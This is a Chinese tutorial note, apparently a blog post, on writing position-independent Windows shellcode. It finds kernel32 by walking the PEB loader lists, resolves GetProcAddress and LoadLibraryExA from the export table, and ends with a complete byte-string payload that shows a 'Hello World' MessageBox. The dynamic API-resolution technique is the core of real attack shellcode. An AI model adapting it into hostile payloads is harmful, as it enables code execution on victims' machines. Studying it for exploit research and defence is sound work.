溢出漏洞原理及利用
本文是作者學習過程的筆記整理而來的,如有錯誤,還請見諒!
接上一篇
適用性更強的MessageBox
之前我們寫的MessageBox,是直接在調試器中找到的地址.當模塊使用動態加載基址的時候,我們重啓系統或者在其他機器上運行的時候,函數地址就改變了.
爲了程序在其他系統通用,需要動態獲取MessageBoxA和EixtProcess函數的地址.
思路就是:
使用FS寄存器找到當前TEB,得到0x30處的PEB,通過PEB中0xC0出的位置找到PEB_LDR_DATA的結構體指針,使用其中的三個模塊信息鏈表尋找kernel32.dll,然後找到dll中導出的GetProcAddress函數的地址,使用GetProcAddress函數獲取LoadLibrary函數的地址
有了這兩個函數,其他函數就都可以獲取了.
一般三個鏈表順序如圖(第一個都爲ntdll.dll):
通過三個鏈表查看加載模塊信息,代碼:
int main()
{
void *PEB = NULL,
*Ldr = NULL,
*FlinkLoad = NULL,
*FlinkMem = NULL,
*FlinkInit = NULL,
*p = NULL,
*BaseAdd = NULL,
*FullName = NULL,
*BaseDllName = NULL;
__asm
{
push eax;
mov eax, fs:[0x30];// PEB
mov PEB, eax;
pop eax;
}
Ldr = (PVOID)*((PDWORD)((DWORD)PEB + 0x0C));
FlinkLoad = (PVOID)*((PDWORD)((DWORD)Ldr + 0x0C));
FlinkMem = (PVOID)*((PDWORD)((DWORD)Ldr + 0x14));
FlinkInit = (PVOID)*((PDWORD)((DWORD)Ldr + 0x1C));
printf("------使用加載順序鏈查找-----\n\n");
// 使用加載鏈找
p = FlinkLoad;
do
{
BaseAdd = (PVOID)*(PDWORD)((DWORD)p + 0x18);
FullName = (PVOID)*((PDWORD)((DWORD)p + 0x28));
BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x30));
wprintf(L"FullName is %s\n", FullName);
wprintf(L"BaseDllName is %s\n",BaseDllName);
printf("BaseAddress is 0x%x\n", BaseAdd);
p = (PVOID)*((PDWORD)p);
} while (FlinkLoad!=p);
printf("------使用內存順序鏈查找-----\n\n");
// 使用內存鏈找
p = FlinkMem;
do
{
BaseAdd = (PVOID)*((PDWORD)((DWORD)p + 0x10));
FullName = (PVOID)*((PDWORD)((DWORD)p + 0x20));
BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x28));
wprintf(L"FullName is %s\n", FullName);
wprintf(L"BaseDllName is %s\n",BaseDllName);
printf("BaseAddress is 0x%x\n", BaseAdd);
p = (PVOID)*((PDWORD)p);
} while (FlinkMem!=p);
printf("------使用初始化順序鏈查找----\n\n");
// 使用初始化鏈找
p = FlinkInit;
do
{
BaseAdd = (PVOID)*((PDWORD)((DWORD)p + 0x08));
FullName = (PVOID)*((PDWORD)((DWORD)p + 0x18));
BaseDllName = (PVOID)*((PDWORD)((DWORD)p + 0x20));
wprintf(L"FullName is %s\n", FullName);
wprintf(L"BaseDllName is %s\n",BaseDllName);
printf("BaseAddress is 0x%x\n", BaseAdd);
p = (PVOID)*((PDWORD)p);
}
while (FlinkInit != p);
return 0;
}
根據以上思路開始實現.
1.獲取kernel32基址(這裏我們通過第三個鏈表來獲取kernel32.dll的基址):
//獲取kenerl32模塊基址
mov esi, dword ptr fs : [0x30]; //esi=PEB地址
mov esi, [esi + 0x0C]; //esi=指向PEB_LDR_DATA結構體的指針
mov esi, [esi + 0x1C]; //esi=結構體中的第三個鏈表InInitializationOrderMoudleList指針
mov esi, [esi]; //esi=鏈表中第二個元素即kernelBase模塊的信息
mov esi, [esi]; //esi=鏈表中第三個元素即kernel32模塊的信息
mov edx, [esi + 0x8]; //edx=DllBase(即kernel32的基址)
2.獲取GetProcAddress函數地址
//獲取關鍵函數地址
fun_GetProcAddress: //(int ImageBase,int BaseAddr)
push ebp;
mov ebp, esp;
sub esp, 0x0C;
push edx;
//獲取EAT,ENT與EOT的地址
mov edx, [ebp + 0x08]; //kernel32.dll基址
mov esi, [edx + 0x3C]; //IMAGE_DOS_HEADER.elfanew
lea esi, [edx + esi]; //PE文件頭VA(基址+偏移)
mov esi, [esi + 0x78]; //IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
lea esi, [edx + esi]; //導出表VA
mov edi, [esi + 0x1C]; //_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
lea edi, [edx + edi]; //EAT VA
mov[ebp - 0x04], edi; //Local_1=EAT VA//導出地址表
mov edi, [esi + 0x20]; //_IMAGE_EXPORT_DIRECTORY.AddressOfNames
lea edi, [edx + edi]; //ENT VA
mov[ebp - 0x08], edi; //Local_2=ENT VA//導出名稱表
mov edi, [esi + 0x24]; //_IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
lea edi, [edx + edi]; //EOT VA
mov[ebp - 0x0C], edi; //Local_3=EOT VA//指向導出序列號數組
//循環對比ENT中的函數名
xor eax, eax;
jmp tag_FirstCmp;
tag_CmpFunNameCmp:
inc eax;
tag_FirstCmp:
mov esi, [ebp - 0x08]; //Local_2=ENT VA
mov esi, [esi + eax * 4]; //ENT RVA
mov edx, [ebp + 0x08]; //Param_1(ImageBase)
lea esi, [edx + esi]; //ENT VA
mov ebx, [ebp + 0x0C]; //Param_2(BaseAddr)
lea edi, [ebx - 0x51]; //GetProcAddress字符串
mov ecx, 0x0E; //GetProcAddress字符串長度
cld;
repe cmpsb; //對比ESI,EDI
jne tag_CmpFunNameCmp; //不相等繼續循環對比
//對比成功後,找到對應的序號
mov esi, [ebp - 0x0C]; //Local_3=EOT VA
xor edi, edi;
mov di, [esi + eax * 2]; //用函數名數組下標在序號數組找到對應的序號
//使用序號作爲索引,找到函數名所對應的函數地址
mov edx, [ebp - 0x04]; //Local_1=EAT VA
mov esi, [edx + edi * 4]; //用序號在函數地址數組找到對應的函數地址
mov edx, [ebp + 0x08]; //edx=Param_1(ImageBaes)
//返回關鍵函數地址
lea eax, [edx + esi]; //返回GetProcAddress函數地址
pop edx;
mov esp, ebp;
pop ebp;
retn 0x08;
3.獲取LoadLibraryExA函數地址
//獲取LoadLibraryExA函數地址
lea ecx, [ebx - 0x43]; //獲取LoadLibraryExA字符串地址
push ecx; //|-lpProcName="LoadLibraryExA"
push edx; //|-hMoudle=kernel32.dll
call eax; //GetProcAddress();
最終,寫完彙編代碼生成ShellCode,我們就能使用所有的函數了.
最後的shellcode:
// shellcode_helloworld2.cpp : 定義控制檯應用程序的入口點。
//
#include "stdafx.h"
char bShellcode[] = "\x60\x83\xEC\x20\xEB\x4C\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x36\x8B\x56\x08\x52\x53\x52\xE8\x13\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAF\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2\x10\x00";
int main()
{
//Fun();
_asm
{
lea eax, bShellcode;
push eax;
ret;
}
return 0;
}
運行效果: